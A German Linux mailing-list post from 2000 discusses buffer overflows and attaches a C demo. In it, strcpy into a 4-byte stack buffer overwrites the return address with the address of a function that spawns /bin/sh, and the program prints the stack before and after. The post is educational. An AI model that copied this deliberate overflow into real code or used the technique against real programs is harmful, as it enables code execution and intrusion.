linux-l: Buffer-Overflow

Steffen Solyga solyga at absinth.net
Di Apr 25 21:37:41 CEST 2000


> Als Hack wird diese zusätzliche Funktion (hier im Beispiel test1) 
> ebenfalls über den String übergeben (Assembler läßt grüßen ;-). 

Das verstehe ich immernoch nicht so ganz... Der Angreifer muß doch in jedem
Falle die Startadresse seines eigenen Hacks kennen. Aber die kennt man doch
i.allg. gar nicht.?

Wie das immer mit Anhängseln ist: Man vergißt sie bei Abschicken so leicht.
Also noch ein Versuch...

-- 
-------------------------------------------
Steffen Solyga
mail: solyga at absinth.net
www : http://www-tet.ee.TU-Berlin.DE/solyga
-------------------------------------------
-------------- nächster Teil --------------
#include <stdio.h>
int shell(){
  printf( "-- shell() --\n" );
  system( "/bin/sh" );
  exit(1);
}
int buf_overflow(char *s){
  char buf[4]= "Hi!";
  printf( "-- buf_overflow() --\n" );
  printf( "buf             = %08x\n", buf );
  printf( "&s              = %08x\n", &s );
  printf( "s               = %08x\n", s );
  printf( "%08x: %08x  <- %s\n", &buf[ 0], *(int*)&buf[ 0], "buf[ 0]-buf[ 3]" );
  printf( "%08x: %08x  <- %s\n", &buf[ 4], *(int*)&buf[ 4], "???" );
  printf( "%08x: %08x  <- %s\n", &buf[ 8], *(int*)&buf[ 8], "return addr" );
  printf( "%08x: %08x  <- %s\n", &buf[12], *(int*)&buf[12], "s" );
  printf( "%08x: %08x  <- %s\n", &buf[16], *(int*)&buf[16], "str[ 0]-str[ 3]" );
  printf( "%08x: %08x  <- %s\n", &buf[20], *(int*)&buf[20], "str[ 4]-str[ 7]" );
  printf( "%08x: %08x  <- %s\n", &buf[24], *(int*)&buf[24], "str[ 8]-str[11]" );
  printf( "%08x: %08x  <- %s\n", &buf[28], *(int*)&buf[28], "str[12]-str[15]" );
  printf( "%08x: %08x  <- %s\n", &buf[32], *(int*)&buf[32], "???" );
  strcpy( buf, s );
  printf( "string copied\n" );
  printf( "%08x: %08x  <- %s\n", &buf[ 0], *(int*)&buf[ 0], "buf[ 0]-buf[ 3]" );
  printf( "%08x: %08x  <- %s\n", &buf[ 4], *(int*)&buf[ 4], "???" );
  printf( "%08x: %08x  <- %s\n", &buf[ 8], *(int*)&buf[ 8], "return addr" );
  printf( "%08x: %08x  <- %s\n", &buf[12], *(int*)&buf[12], "s" );
  printf( "%08x: %08x  <- %s\n", &buf[16], *(int*)&buf[16], "str[ 0]-str[ 3]" );
  return( 0 );
}
int main(int argc,char *argv[]){

  char str[16]= "0123456789 at ABCD";
  *(int*)&str[8] = (int)&shell;

  printf( "-- main() --\n" );
  printf( "str             = %08x\n", str );
  printf( "&shell()        = %08x\n", &shell );
  printf( "&buf_overflow() = %08x\n", &buf_overflow );
  printf( "&main()         = %08x\n", &main );
  printf( "%08x: %08x  <- %s\n", &str[ 0], *(int*)&str[ 0], "str[ 0]-str[ 3]" );
  printf( "%08x: %08x  <- %s\n", &str[ 4], *(int*)&str[ 4], "str[ 4]-str[ 7]" );
  printf( "%08x: %08x  <- %s\n", &str[ 8], *(int*)&str[ 8], "str[ 8]-str[11]" );
  printf( "%08x: %08x  <- %s\n", &str[12], *(int*)&str[12], "str[12]-str[15]" );
  buf_overflow(str);
}


Mehr Informationen über die Mailingliste linux-l